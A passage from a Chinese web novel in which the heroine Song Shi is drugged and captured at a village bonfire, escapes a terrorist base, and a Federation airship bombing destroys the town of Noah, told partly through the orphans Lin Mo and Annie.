不要把自己的命运交到别人手里,不要赌,赌赢虽然皆大欢喜,但输的代价,她给不起。 “主人,主人?”伽蓝的声音好像是从很远的地方传来。 宋拾回过神来,“怎么了?” 青年身体前倾,触上她的眼角,“你好像很难过,眼泪。” 玉质的指腹上,晶莹的水珠。 她眨了眨眼,“眼睛里进东西了。” 第43章 摇晃的酒液, 透过玻璃杯,她看见伽蓝绅士俯身,伸出右手, 深色的眸子专著地注视她: “美丽的女士, 我能邀请你跳支舞吗?” 跳跃的火光映在脸上,宋拾泛红的面颊上有了些许醉意,她搭上手,“当然可以,我答应过你。” 但愿你不会后悔,她露出意味深长的笑意。 夜色渐深,篝火的热气驱散了空气中的凉意,年轻的人们踩着鼓点,跟着节奏,相拥漫舞。 短发女人垂下头,视线里,她的黑靴结结实实踩在另一只鞋上, 第十次了。 青年面色未变,嘴角噙着温柔弧度,“主人跳得越来越好了。” 宋拾:……? ? “你认真的?” “伽蓝不会欺骗主人。” 如果不是胸膛传来沉闷的震动,她差点就信了。 伽蓝闷声笑出声,促狭地弯起眸子:“踩到鞋的时间间隔越来越久了,怎么不算进步呢?” 说得好,下次不要说了。 她恶狠狠瞪过去,重重碾过他的脚,听见一声闷哼,才心满意足坐回草地上。 “主人……”伽蓝委屈地凑过来,一副摇尾乞怜的模样, “我再也不开玩笑了。” 宋拾没理会他,将裹满布的罐子掏出放旁边,顺手把背包丢到他怀里,“不是说帮我修包吗?修吧。” 听到她的话,伽蓝搂紧包,真跑去找阿博特学习针线活。 终于走了,可算清静了。她刚想再续一杯酒,就对上一双干净的眸子。 漂亮的男孩跑到她身旁,盘腿坐下,递出已经蔫吧的花环,“还给你。” 接过花环,宋拾捏了捏皱皱巴巴的花瓣,问道:“怎么样?” 问的是精神术法。 “成功了!”林默欣喜点头,“虽然练得还不算好,但只要再练练,肯定能更好……所以我现在也是精神师了吗?” “当然是啊,等会你告诉镇长,他会帮你安排好的。” “不!” 孩童略显尖锐的声音,随着篝火的火焰噼里啪啦炸开。 他的反应太过激烈,回答的又太过果断,引得宋拾不得不扭头看他。 男孩生得唇红齿白,此刻那双葡萄黑的眸子愤怒亮起,单薄的身体颤抖: “他、他没你们想的那么好……他不会帮我的。” 她沉默下来,没有说话。 “我知道这么说,你不会信,任何人都不会信,所有人都说他是个好镇长,大好人,可根本不是!他就是个——” 说到最后,林默止住了,他看起来苍白极了,手指蜷缩又松弛。 “这样啊……”宋拾仰望满天星河,夜色舞台上繁星簇拥着银月,热闹又寂寥。 她伸出手,似要抓住星河,“既然他不行,那就换个人。” “换个人?”男孩垂下头,“也许我可以找贝蒂婶婶。” 扑通仰倒在草地上,鼻间是青草泥土的清香,她头枕胳膊:“想要什么奖励吗?只要是我能力范围内,都可以。” “奖励?” 林默诧异地睁大眼。 “成为精神师,难道不值得一个奖励吗?”宋拾醉醺醺笑起,“想要什么?” 男孩沉思良久,目光落在她的腰间,伸手一指,“我可以要这个吗?” 宋拾顺着他的目光一摸,是那把消音枪,已经没子弹了。 她爽快地掏出来,抛到男孩怀里。 林默摩挲着冰凉的枪,嘴唇嗫嚅:“为什么?这可是枪,你就那么给我了?” “想要就给你咯,这有什么。”宋拾翻了个身,“里面没有子弹了,想要子弹靠自己哈,没有售后。” 对方迟迟没有回应,就在宋拾以为他已经走了时,眼前悬下来一串玻璃串成的手链。 是早上陈才俊给的珠子,当时看他拿着弹弓,她还以为是当弹珠用的。 男孩害羞的声音:“本来是要送给安妮的,现在送给你了。” 宋拾坐起身,弹了下他的脑门,“行了,我手腕可没那么细,你留给安妮吧,她肯定喜欢。” 林默缩回手,他漂亮的眉头蹙起,像是下定某种决心,认真看着她。 “其实……今天还发生了一件事,本来要保密的。就是在你们走后,安妮拉着一个人来到了大院。” “嗯。”宋拾颔首,顺手将酒杯蓄满。 “那个人,和你长得一模一样。” “噗——”酒液从口中喷出。 …… 联邦会堂。 “就这么决定,在挪亚准备吧。” 谅雀耳朵嗡鸣,她握紧掌心,只觉得胸口郁郁发闷。 眼前的场景像是一场荒谬的梦境,不真实。 像安妮默默这样的孩子,挤在挪亚这个偏僻落后的地方努力地活着,但在掌权者眼里,他们比联邦,不,比查普曼家里的野草还卑微的苟活。 可老爷们挥一挥手,上嘴皮磕下嘴皮,轻易地抛弃他们所有人的性命。 因为在老爷眼里他们连“人”都不算,是吗? “是空调温度太低了吗?我亲爱的指挥官,你看起来有些冷。” 查普曼和蔼微笑,泛冷光的镜片带着若有若无的嘲弄。 她无法克制身体地颤抖,愤怒让她苍白的脸近乎惨白。 “先生,”她站起身,左手握拳放在胸口,平淡如死水的眸子染上了某种从未有过的情绪,“我认为不应该这么轻易地下决定。” “你有什么见解呢?大指挥官。”查普曼有些惊诧,但嘴角仍挂着和蔼的笑容,像是面对一个无理取闹的孩子。 她尽可能控制自己的情绪,“挪亚的人民,他们该怎么在炮火中活下来?” 上位者轻轻嗤笑,眼尾的细纹扭打在一起,“孩子,要想达成目的怎么可能没有牺牲?为联邦牺牲是他们的荣幸,这一条,我想联邦老师应该很详细地讲过。” “联邦利益至上。”条件反射般,谅雀脱口而出。 “是的,我的孩子。”上位者半个身子躲在阴影之中,嘴角的弧度温和又残酷。 “可我认为……” “够了!” 温妮莎拍桌站起,四方的视线从谅雀的身上移到她的身上,她意识到自己的失礼后,咬了咬下唇,“抱歉,是我太激动了。” 她看向谅雀,神情严肃:“谅雀小姐,这是联邦会堂,我们只需要执行,而不是质疑。” 温妮莎手心沁出的冷汗不断告诉她这么做是有多冒失。 谅雀深深凝视她,最终微敛眼皮,放在胸口的手垂下。 “我不该质疑联邦的决定。” 会议除了这么一个小插曲外,进行地非常顺利。 结束后,谅雀利落起身离开,一秒视线都未在温妮沙身上停留。 “谅雀小姐!” 温妮沙跟在她身后,追上她并不难,可她始终自觉保持一段距离。 “我知道你生气,可是这是联邦会议厅。”她说到最后声音压得几乎听不见。 谅雀转身,眼底是深深的失望:“挪亚的人民是无辜的,他们不应该因为联邦的利益失去生命。” “那小姐为什么会觉得您那几句话能让他们放弃决定?”温妮沙用近乎冷酷的语调开口。 “选在挪亚,对联邦百利无一害,挪亚不过是个落后偏僻的穷地方,里面的人也不过是一群吃了上顿没下顿的穷鬼,回溯就藏在这里,失去了这次机会,下次就不知道要什么时候。” “剿灭回溯,对联邦而言,就是铲去了一部分威胁。你觉得他们的性命在他们眼里,值多少星币?哈,不值一提。” “……” 良久的沉默。 温妮沙很少一口气说这么多话,她的内心开始忐忑,她不确定谅雀会不会听进去,会不会因此厌恶她。 可谅雀只是轻轻摇头: “如果是这样,那我的存在就是他们欲望发酵的温床,我不希望这样。” “联邦,不该如此。” 那双眸子干净又澄澈。 温妮莎心脏抽搐了下,有种失去掌控的恐惧感。 …… 夜色湖泊,映着银月,波光粼粼像是洒满碎金,舒服的凉风不时吹来,惬意极了。 篝火周围,年轻的男女们精力旺盛依旧,奏乐打鼓,唱歌跳舞,又有情侣避开人群,在湖边散步。 孩子们尽情追逐打闹,嘻嘻哈哈,好不欢乐。 除了宋拾。 她瞪大眼,放下酒杯,“和我,一模一样?” 一瞬间,一切最坏的念头涌上心头。 该不会是本尊吧……来这里干什么,抓她吗? “那她知道我吗?”宋拾抓住他的肩膀,严肃地看着他。 林默见她反应那么大,有些发蒙,“她、她知道,当时安妮把她错认成你了。但是她看起来没有任何恶意。” “哪有坏人会把坏写在脸上?她是不是想找我?” 好熟悉的话,他今天刚说过,林默沉默了。 “一开始她好像并不知道你,后面又说你们是姐妹,她演技真的好拙劣。”男孩说道,“她对你很感兴趣,问的全都是你的事。” “都问了什么?” “问你是个什么样的人,有什么爱好,喜欢吃什么……”男孩记性不错,背菜名般念得她头疼。 “她没问我在哪?” “没问。” “……” 本尊……好像真的只是好奇?不过她怎么会突然出现在挪亚? 不管是什么,安全更重要,今晚她必须离开这里。 第44章 她站起身, 四下去寻伽蓝的身影,视线穿过一层又一层的人,落到被人簇拥的青年。 旁边的酒杯不停地往他唇边蹭, 伽蓝摇头拒绝, 但少女们依旧不依不挠。 阿博特醉醺醺地举着酒杯:“这是挪亚的习俗,每年篝火晚会上都要喝一杯烈酒,代表着能和喜欢的人轰轰烈烈走下去。” 伽蓝皱紧的眉毛舒展,垂眸沉默了半晌,才接过酒杯:“好。” 不,不行啊!你小子一杯倒,喝完这个还怎么离开。 她捡起罐子和花环, 迈开腿, 奋力扒开欢快的人群:“别喝!伽——” 话哽在喉咙里,她眼前骤然一黑,身体软绵绵得像棉花,被卸去全部气力般向后仰,随时跌入无尽的黑暗。 “伽蓝……” 宋拾嗓子发紧, 发不出来半点声音。 还是中招了。 她踉跄着,狠狠咬破舌尖才清醒了一瞬,意识的尽头,释放出最后一道精神术法。 淡蓝的光在她怀中稍纵即逝。 身体重重跌落, 掌心、鼻尖是青草香,蔫掉的花环就在手旁边。 “小拾姐姐!”两个孩童清脆的声音。 “小拾姐姐你怎么了?!” 绿裙子女孩撞开人群,跑到她身旁,担忧地攥住女人的手,“是哪里不舒服吗?我去找镇长爷爷——” “你为什么要这样?!” 男孩爆发出尖锐、崩溃的声音,高亢刺耳。 “她帮助了挪亚!为什么?!” 安妮被吓的怔住,随即流下泪,“默默,默默为什么要吼镇长爷爷?” 为什么? 黑色的瞳孔逐渐涣散,像是溺入深海,隔着厚厚的海水泡沫,传来镇长不甚清晰,虚伪至极的声音: “我这么做都是为了挪亚啊。” 噼里啪啦的篝火,凑过来看热闹的人群,伪善的领导者,构成一个圆环。 “要不是她,杰弗里和陈才俊也不会死。”窃窃私语,窸窸窣窣,人们悄悄议论着。 “不,不是这样的!她帮我们杀死的大兔子。” 林默握紧拳头,第一次觉得眼前的人们那么陌生,突然他在人群中看到熟悉的人,仿佛找到了支撑:“贝蒂婶婶,你告诉他们真相。” 视线聚过来,贝蒂神情慌乱了一瞬,紧接着摇头:“林默你在说什么啊,不要再捣乱了,我们要相信镇长的决定。” 他孤立无援地站在原地,看着镇民们的指指点点,唾弃和口水。 “阿博特,你去搜身。”镇长愉悦地眯起浑浊的眼睛。 这个女人总是随身携带背包,里面的东西拿出来也裹得严严实实,肯定是个大宝贝。 “好。”阿博特看了一眼昏倒的伽蓝。 他怕他一杯不倒,特意往酒里下了大剂量的药。 精神师再厉害又如何?还不是败在他们普通人手里。 他嗤笑一声,走到镇长身旁,目光落到昏迷的女人身上,心中隐隐有些不忍,“您会怎么处置他们?” 镇长压下眉毛,阴沉着老脸:“怎么,你真喜欢上她了?” “我、不……”阿博特眼神躲闪,将情绪咽下,“没有。” 他再无迟疑,上前拉开安妮,一个男孩拦在她身前,幼狼似的眸子,恶狠狠怒视。 阿博特仿佛看见了当年的自己,也是那么倔强。他叹气,半蹲下拍拍男孩的肩膀: “听话,不要总和镇长作对。挪亚能有今天全多亏了他,不然咱就要像久藤其它地方的人四处流浪,捡垃圾吃。而且……” 他意味深长地看了眼地上的女人。 “事情没你想的那么简单,上山后是她故意引出巨蟒,让我们的人死的死伤的伤。” 林默抿唇,“我不信。” “是真的。”贝蒂也站了出来,她拉住两个孩子,“你们不信镇长,还不信贝蒂婶婶吗?” “婶婶,你教育过我们做人要诚实。” 安妮小心翼翼地扯了扯他的衣角,“默默,贝蒂婶婶不可能骗我们的。” 林默没再说话。 在这个间隙,阿博特已经上前搜好了身,他蹙眉,起身:“她身上没有东西。” “不可能!”镇长重重咳嗽了几声。 “真的没有。” “既然如此,那就按老规矩办。” 他阖上眼皮。 …… “轰隆!”电闪雷鸣,暴雨骤至。 巨龙似的乌云盘踞上空,厚重的雨幕下,一辆悬浮小货车停在了寂静的湖畔旁,随即如鬼影般消失。 “快醒醒!”压低的声音。 宋拾眼皮无力地半掀开,光线很暗,隐约能听见雷鸣与水流声。 “谢天谢地,您终于醒了。” 她这是人生又重开了? 待眼皮完全睁开她才看清眼前的人,扎着深栗色辫子的少女,宋拾对她有点印象,跟着进兔子洞的姑娘,好像叫……南希。 “嘘。”南希将食指贴在唇边,几乎用气音,“您现在肯定有很多疑惑,但请先听我说,我是来救你们的,他们不知道我偷偷溜进车里了。” 宋拾默不作声打量车厢,铺满的晶矿竟是熟悉的婪鲸矿,伽蓝倚靠着她的肩膀,双眸紧闭。 他的脸色不正常地苍白,呼吸微弱。 “不过这位睡得太沉了,我没能把他喊醒。不管怎么样,能救一个是一个,您跟着我走,肯定能离开这里。” “直接炸掉车不更方便吗?”宋拾对上她不安的眼睛。 南希怔了怔,随即猛摇头,“我知道您很厉害,但我们现在在回溯的基地,他们……他们很恐怖。” 像是想起什么,她的脸陡然变得惨白。 回溯啊……宋拾看着满车的婪鲸,毫不觉得意外。 她深深吸了口气,再缓缓吐出,淡淡的蓝光从指尖溢出,青烟云雾似地绕上伽蓝。 昏迷前,她用尽最后一丝力气释放术法,试着将三十三号塞进领域里,没想到成功了。 也就是说,领域不仅能当避难所,也能当储藏柜用。 南希捂住嘴唇,克制住惊呼,她眨了眨眼睛,确认自己没出现幻觉。 那么大一个活生生的人……就这么凭空消失了。 宋拾张了张嘴,做出“我们走”的口型。 她没有问“你为什么帮我”,虽说一朝被蛇咬十年怕井绳,但还能比现在更糟的情况吗? 没有。 那还需要顾虑什么? 南希咬住下唇,小心翼翼地将车门慢慢拉开,尽可能将噪音压到最低。 拉到容纳人的宽度。 好在车开的不算快,南希酝酿了下,闭眼跳了下去,宋拾紧跟着跳下。 悬浮货车逐渐远去。 狭长的甬道,望不到尽头,墙角每隔六七米安装着一盏照明灯。 墙壁上是回溯的标志,银灰色的“ X” 。 南希双手合十:“希望回去的路上不要碰见回溯成员,不要碰见他们。” 也是,联邦最大的恐怖组织,怎么可能不害怕。不过令宋拾好奇的是这个镇怎么和回溯扯上了关系。 难道是因为婪鲸? 越想越合理,回溯百分之九十多的成员都接受了机械化,靠着婪鲸续航续命。而挪亚靠采矿为生,这个矿,十有八九就是婪鲸矿。 看着少女战战兢兢的模样,她忍不住问:“既然那么怕回溯,为什么还敢来救人?” “因为你们是好人……那些丑兔子吃掉了我的家人,而你帮我们把它们全消灭掉了,是英雌。”南希认真说道,她琥珀色的眸子一片纯净,像沐浴暖阳的向日葵。 “也还好啦,虽然我确实挺厉害的。”宋拾一脸谦虚地捏捏耳垂。 但下一秒她神情突然凝重,眉毛不自觉凑近。 “怎、怎么了?”见宋拾表情大变,南希惴惴不安地双手交叉在一起。 “脚步声。” 话落,那阵本不算清晰的脚步声缓缓靠近。 有人,来了。 …… 雨越下越大,雷鸣阵阵,天黑得像吃人的怪兽。 安妮害怕地躲在被子里,瑟瑟发抖,眼泪一直在眼眶里打转转,却始终没流出来。 默默又被关禁闭了,这个房间只剩下她了。 禁闭室那么黑,默默肯定比她还害怕。 几乎是瞬间,她下定了决心。 她从默默的抽屉里翻出手电筒,又套上了自己的小雨衣。 推开门,一道可怖的深紫色闪电劈在黑漆的夜空中,吓得小姑娘瑟缩了下,差点跑回被窝。 没事的,安妮。 她悄悄为自己打气。 禁闭室离大院并不算太远,但在暴雨的夜晚却显得格外遥远。 暴雨还在下。 绵密的雨没有半分停下的趋势,密密麻麻地拍打在安妮身上,尽管浑身湿透,始终不曾停歇地奔跑,她的眼睛眯着,试图通过模糊的路标确认方向。 腿上像灌满了铅,沉甸甸,每抬动次腿都要耗费她巨大的体力,重重的呼吸声疲惫地从嘴里吐出。 跳过水坑,冒着大雨,终于看到禁闭室的“蘑菇屋”屋顶。 禁闭室在二楼,默默就在上面。 “轰隆”震耳欲聋的雷鸣,她捂住嘴巴,防止自己尖叫出声,蹲在楼梯道心里默数了三十秒。 一,二……三十。 她起身,蹑手蹑脚上了楼,发现那么多房间 ,根本不知道默默在哪间屋子。 小姑娘鼓起嘴巴,有些丧气,突然听见一些奇怪的声音。 寻着声音,来到了一扇门前。 她趴在门口,听见了粗重的喘息和几声咳嗽。 是她再熟悉不过的镇长爷爷的声音。 爷爷住这里?她刚要蹑手蹑脚离开,就听见默默吃痛的啜泣。 镇长爷爷不会是要体罚默默吧! 她拧开门把手,重重把门推开。 白炽灯下,刺痛了眼。 “默默……” 女孩哽咽,却不敢放声大哭。 那一根弦终是断了。 林默的手探入枕头下,那里有一把枪,庆祝他成为精神师的枪。 这并不是一把空枪,里面还有颗子弹。 逃避是懦夫,莽夫注定成不了英雄。 食指扣上了扳机。 那现在,他算是什么? 硝烟从枪口溢散。 第45章 明亮的白炽灯下,男孩握枪的手微微颤抖,那座一直压着他的无形大山在此刻消失了。 那个丑陋的老家伙终于死了,死得很不体面,那双浑浊的眼珠瞪着老大,惊愕永远停留在脸上。 他死了。 林默攥紧手指,指甲狠狠掐进掌心,百般复杂的情绪交织,凝成泪水顺着脸颊划到下颌。 突然,一声哽咽传来,她像是憋坏了,用牙死死咬着手,以防发出太大的动静。 安妮泪流满面,哭花了整张脸,她抽噎着,视线落到那尸体上:“默默……镇长爷爷……” “乖,不要看, 出去吧, 等我收拾好。” 她抬头,发现这个从来没有哭过的男孩,眼睛已经蓄满了泪水。 “好不好?”明明声音颤抖的厉害, 可是安妮还是听出了温柔。 “好。” 电闪雷鸣, 走廊一片死寂的漆黑。 安妮瑟缩蹲在门口,双臂环绕抱紧自己,眼眶的水雾模糊了视线。 一个是她最敬爱的镇长,一个是对她最好的默默。 六岁,她被院长收养,进了大院, 正式有了家。 大院里都是与她差不多大的孩子。 和她住同一间房的男孩阴郁沉默,没有孩子愿意和一个“哑巴”玩,可安妮就是喜欢他,也许是觉得这个大哥哥可怜,也可能是因为人家长得太好看了。 安妮仿佛看不见对方的排斥,总像个小尾巴一样跟在他身后。 她常常对着他犯花痴,这是她见过最好看的人了,那双漂亮的眼睛就像天上的星星。 贝蒂婶婶给她的零食她也会分给他,久而久之,男孩便也默认了她的存在。 男孩叫默默,他从来没有见过自己的亲生父母。安妮问过他,有没有想过自己的爸爸妈妈。 他摇头,没有说话。 她曾经想过,不被别人收养就和默默在大院一起长大也好,可是默默那么好看,怎么会有人不喜欢这样的小孩呢。 但默默却说,没有人能收养他。她却不信,觉得他口气好大。 但,似乎真的没有人领养他。 有次,镇上的一对老夫妇明明看中了默默,却领走了另一个男孩。 她一边替默默觉得不满,一边又在窃喜他没有离开。 默默总是温柔的,耐心地教导她道理和知识,在她发烧的时候会守着自己一夜没睡,并且在他们成为好朋友后,他的零食就全归她了。 大雨天打雷的时候,她吓得躲在被子里发抖哭泣,是默默安慰她,唱摇篮曲。 曾经的点点滴滴,化成一座天秤,默默毫无疑问是最有重量的。 脑海中闪过那些不堪的画面,安妮垂下脑袋,心脏像是被一双手攥紧撕扯,无法忍受的疼痛,痛得呼吸不上来。 “嘎吱”门开了。 光洒下来,连同一串亮晶晶的东西也垂到她眼前。 是用玻璃珠串成的手链。 “送给你。”林默蹲了下来,将手链套进她的手腕。 他看起来是那么镇定,仿佛一下子成长许多岁,如果忽略因恐惧抖动的手的话。 解脱与喜悦过后恐惧如潮水般袭来,几乎密不透风地要将他淹没,拉入无间地狱。 可以肯定的是,其他人要是知道他杀死镇长,他绝对会死得很惨。 “安妮,我们离开这里吧。”林默像是下定决定,认真地望着小女孩。 “我是精神师,联邦会优待我们的,一定会比大院好。” 安妮从未想过离开这里,大院就是她的家,可如果默默要走…… “好,咱们离开这里。”女孩吸吸鼻子,擦干眼泪。 意料之外的回答,林默眼眶又是一湿。 他站起来,紧张兮兮地四处观望,“我们现在就走吧。” “现在?!天那么黑,还下着雨……” “天一亮,就走不了了。” 安妮沉默了下,仰头:“我先回屋拿零食和水。”她攒了有一柜子的零食。 林默倒没有想到这一点,他点头:“那你回去拿吃的,我去偷猎枪,这样我们才能自保。” 他顿了顿,又道:“你一个人可以吗?如果害怕,我先陪你回大院。” “不。”安妮稚嫩的脸上出现了严肃,“分开行动才能节省时间,我长大了,不会再怕打雷了。” “那……好吧。” 他并不知道,这个决定会让他后悔一辈子。 大雨淅淅沥沥,两个孩子朝着不同的方向跑,闯进暴雨中。 猎枪都在阿博特家里,只要悄悄地,他会成功的。 很快,他和安妮就能逃离挪亚,拥抱全新的未来。 狂风刺骨,雨水淋湿的衣服黏在身上,冻得脸发青,他哆嗦着,咬着牙朝阿博特家跑。 不知道是不是冻出幻觉,他只觉耳边嗡鸣,一抬眸,愣在原地。 伸手不见五指的夜幕中闪烁着大大小小的“星星”,这些“星星”盘踞在挪亚上空,越来越大,越来越近—— 直到某一刻,林默才看出那根本不是星星,而是飞艇。 好壮观。 林默瞪大眼,任凭雨水进入眼眶,他望着愈发明亮的夜空。 一簇簇红光犹如流星划破黑夜,撕开一道美丽的口子,极速落到这座寂静的小镇上。 有孩子探出头:“妈妈,是流星!好漂亮!我要许愿……” “轰。” “轰。” “轰。” 流星坠落。 愿望终究是要落空。 那些“蘑菇房”顷刻间炸成废墟残骸,睡梦中的人还未清醒,不用经历死亡逼近的痛苦,那些还醒着的,哀嚎呼救成为他们最后的遗言。 “救命!救命!” “流星”纷纷落下,爆炸吞噬掉一切痕迹。 半空中扇动翅膀,急着逃离的飞鸟被火光湮灭。 那面漂亮的湖泊被炸得水升到半空,连同鱼虾的尸体落到岸上。 此刻的挪亚是火刑场,人间炼狱,浓艳艳的火海吞噬掉一切死物、活物。 “咔嚓”大树燃着火倾倒,倒在离他五米左右的地方,嚣张的火舌舔舐他的皮肤。 参天的火光,林默身子发软,使不上来劲,他的脚像是生了根,牢牢扎进地面。 萤火虫似的飞艇在空中盘旋,映照得夜幕亮如白昼,红色的“卵”从天而降,炸开朵朵火花。 他睁大眼,看着头顶的那颗悄然划过,朝着他熟悉的地方降落了下来—— 大院。 熊熊烈火映红了天空。 安妮还在那里! 大脑嗡一声炸开,林默从来没跑过那么快,拼命地往回跑,一刻也不敢停。 冷风疯狂往他口鼻里灌,冷入骨髓,他嗓子返出淡淡的铁锈味。 “安妮!”哀戚绝望的呼喊。 “安妮!!” “轰轰轰。” 炮弹轰炸过的土地坑坑洼洼,有的甚至是数十米的深坑,入目皆是满目疮痍,废墟残垣,火光漫天。 林默停在一处废墟堆旁,心存侥幸心理,目光来回在其中逡巡,可除了碎石便还是碎石。 冷雨无情地拍打他的面庞。 男孩近乎绝望地抽泣了下,像个穷途末路的赌徒,发了疯般用手搬开那些烧得焦黑的碎块。 “安妮!安妮……你在哪?!都怪我都怪我,我应该和你一起的。” 泪水混着雨水流进口腔,咸咸的苦涩。 稚嫩的手指死死地扣起一块块碎石,锋利的棱角将他的手磨得血流不止。 林默像感受不到疼痛,不顾一切地翻找。 指甲劈了断了,割伤的肉外翻,沾着焦黑的尘土的烂肉又重重按下。 终于,他翻到了一截白,绿袖子,戴着玻璃手链。 “安妮!” 无人回应。 他的手抠得血肉模糊,却仍不知疲倦地搬开那些碎块,但搬到一半,林默绝望了。 他再也听不见爆炸声,看不见废墟火光,眼中只剩下那截手臂。 那只有一截胳膊,安妮的胳膊。 小姑娘那么爱美,缺了胳膊肯定要难过死。 不过没关系,他是精神师,学的第一个术法是治愈术法,骨肉再生。 安妮一不小心就会弄得自己满身伤,所以他才毫不犹豫地选了治愈术法。 “别担心,我会帮你接好胳膊的。”林默嘟囔重复,不知是说给安妮听,还是说给自己听。 可他找不到,鲜血染红了一片又一片,到处都是他的红手印,他找到了吉姆的头,小伊的身体…… 就是没有安妮。 灵魂深处传来恐怖的声音“也许安妮早已炸成了肉泥”,就像贝蒂婶婶做的蓝莓酱那样,软烂稀碎。 林默脸色霎时一白,弓起腰开始干呕,他一天都没吃饭,呕半天也只呕出了胃液。 精神师精神师……他根本不是精神师!连自己的家人都守护不了,算什么英雄! 明亮的东西未必是希望,很可能是催命的炮弹。 中央飞艇内,查普曼一身正装,站在两人高的显示屏旁,随着火光露出扭曲的微笑。 “呲——”金属门自动打开。 温妮莎垂着头走了进来,不敢看屏幕,“她现在睡得很沉。” 查普曼没有转身,沉沉笑出声,皱纹折叠,“好孩子,不愧是唯一能安抚谅雀的人。” 安抚? 一股难以言喻的恼怒攀上心头,温妮莎胸脯剧烈起伏了下。 是啊,安抚。 多么讽刺,一旦谅雀表现出不安分,她就需要亲手为她注射安定剂,这是她的工作。 信任是消耗品,谁又知道、在乎她们曾经是最亲密无间的朋友。 温妮莎猛然抬头,眸子被火光照得赤红:“您将这里变成炼狱,那回溯呢?他们的基地呢?到底在哪?死亡的明明只有普通人!” 查普曼不紧不慢地转过身,慢条斯理道:“这不得需要你家大指挥官嘛。” “只要她随便使出个术法,将这里夷为平地,别说回溯了,连只蟑螂都不可能活着离开这里。” 他平静中透着癫狂,痴迷地注视灾难:“不觉得这一切很美吗?” 闻言,温妮莎厌恶地往后退几步。 疯子,真是个疯子。 走出控制室,她稍稍迟疑顿住脚步,回头看眼查普曼。 上位者脊背挺拔,姿态从容,看起来只有四五十岁,据说他为了年轻将器官都换掉了,实际年龄未知。 查普曼是出了名的残暴不仁,喜欢看人折磨致死,但本人却格外的贪生怕死。 她深呼吸,快步走到休息室。 谅雀双目紧闭,躺在胶囊形状的疗养仓内,均匀呼吸。 温妮莎按下按钮,透明罩打开,躺在里面的女人睫毛颤了颤,随即是一片墨色。 “谅雀小姐,查普曼需要您用术法……” “宙启,现在外面是什么情况?”谅雀打断她。 温妮莎肉眼可见慌乱一瞬,“小姐,联邦需要你的协助。” “宙启,回答我。” 女性机械音响起:“很糟。” 全息荧幕投在两人面前,目之所及皆是疮痍,遮天的火光,坍塌的建筑物,烧得焦黑的不明物体,也许是人,也许是别的什么。 长久的沉默。 谅雀垂下眼睫,“温妮莎,我们还是朋友,对吗?” 朋友?原来她们还是朋友吗?温妮莎心脏像被烫了下,心口发热,“小姐……怎么突然说这个?” “我想离开联邦。” “什么?!不行,您不能……”金发女人清醒大半。 “你比谁都清楚,我只剩下两年寿命了。”谅雀苍白的面容有了倦色。 “温妮莎,我不想死在手术台上。” 温妮莎茫然。 她该怎么选。 联邦还是谅雀? …… “哦?有两只小老鼠误入了这里?”一阵散漫的掌声, Z微笑着,阴阳怪气出场。 还真是冤家路窄啊,也不知道霍尔有没有调查他。 南希怯懦缩在宋拾身后,大气不敢出。 宋拾一副恭敬狗腿的模样:“大人,您误会了,我们是挪亚镇民,来投奔回溯的。” “哦?”扬起的尾音,他目光中微露讥讽,“我倒不知道回溯收人的要求那么低了。” 宋拾面色如常:“所以我们的面试没过。” “……” Z噎住,自觉自讨没趣,正要离开时,他脚步顿住。 “你们怎么进来的?我记得只有送矿的才能进来。” “大人,您可真是细心呢……湮灭!”叽叽歪歪的,宋拾没耐心同他继续扯皮。 光团以摧古拉朽之势袭去。 Z脸色一沉,心中大骇,蓝符浮现在肌肤上,仓皇避开。 精神师,还会湮灭这种高阶术法,难道是联邦派来的? 他指尖轻触手环,“墨格拉,告诉西索斯,基地混进来一个联邦的精神师,我现在需要支援,快。” “已为您送达信息。” 草,什么人啊,打不过就摇人,他会摇人,她还不会跑吗? “冒犯了。”说罢,一声惊呼中,宋拾扛起了少女,迈开腿狂奔,留下一道残影。 头发被风吹的凌乱,南希咬着下唇,咽下喉咙中的尖叫,“我感觉他应该追不上来。” “不好说。”回溯的铁皮疙瘩像鬣狗一样难缠。 精神术法的加持下,几个呼吸间,她们便来到了尽头。 宋拾将南希放下,望着空荡荡的墙面,蹙眉:“怎么出去?” 南希焦急地扒拉墙壁:“哦不,老天,我只进来过一次,还是阿博特带我来的,他好像在这里按了下,就出现了升降台,也许是这里?” “能炸吗?” “不,当然不行!这里是湖底,炸开了,水就流进来了。” 湖底?宋拾问:“镇子旁的那个湖吗?” “是的。” 脑中什么东西一闪而过,快得宋拾还没来得及抓住,就消失得无影无踪。 甬道内,燃料喷射的声音越来越近——Z的后援快要到了。 与其胡乱摸墙找机关,还不如暴力出奇迹。 “你会游泳吗?” 南希怔住,道:“会的。” “很好。” 宋拾手掌贴上墙壁,蓝光从指缝内飘散而出,须臾间,轰隆一声,墙壁爆破开,涛涛湖水汹涌将二人卷起。 南希鼓起腮帮子,奋力地试图稳住身形,奈何水流太猛,好几次差点呛到水。 一双手托住了她的腰,扶正起,南希扭头看去,是宋拾,而再往后,是十几个回溯成员,他们就显得游刃有余多了,脚底喷射燃料,快速靠近。 她惊恐地手指戳戳后面。 面前的女人只是淡淡点头,南希瞬间安心,这副运筹帷幄的模样,稳了! 而宋拾心中百万草泥马奔腾,怎么这么多铁疙瘩。 冷静冷静,一定还有什么办法…… 她大脑转的飞快,锁定到一个还未用过的术法上——空间传送。 试试,死马当活马医。 她闭上双目,聚精会神释放精神力,勾勒描绘目的地的场景。 陡然,她睁开眼眸。 蓝色的“虫洞”荡漾在水流中,近在咫尺。 成功了! 宋拾喜出望外,一把将南希推进虫洞,正当她自己要进时,一双手攥住她的脚踝,往后拖。 糟糕。 传送阵的颜色越来越淡,眼看快要消失。 来不及了,释放精神力和憋气已经消耗了她太多精力,宋拾眼前阵阵发黑。 越来越多的手攥住她的小腿、胳膊。 碧蓝的湖底,游动的鱼儿,一串串泡泡徐徐上升,再无力气的女人闭上眼,意识模糊,身体下沉。 漆黑,只剩下空洞的漆黑,不知过了多久,温馨而明亮的橘红色光透出,温柔地包裹住她。 再次睁眼时,她身下是柔软的沙发,温馨干净的客厅,液晶电视播放着动画片,茶几上摆着乳白色的花瓶,上面插的几支鲜花娇嫩欲滴。 两道熟悉的身影在厨房忙碌着。 这是爸爸在城里租的公寓。 好真实的梦境,宋拾面无表情感慨。 “囡囡。”亲切的乡音, 宋拾身子猛然一僵,眼眶控制不住地湿润了。 奶奶一把搂住她,她这才发现自己变成小小的一团。 “囡囡哟,今天上学怎么样啊?” “上学很开心,交到了好多好多朋友!”女孩兴奋地睁大眼,讲述学校发生的各种小事。 不,她不想说这些。 她想告诉奶奶自己有多么想她。 可她操控不了这具身体。 “那考得怎么样呢?”奶奶笑眯眯,一脸慈爱地看着她。 考试? 宋拾有些晃神。 对了,她成绩不好。 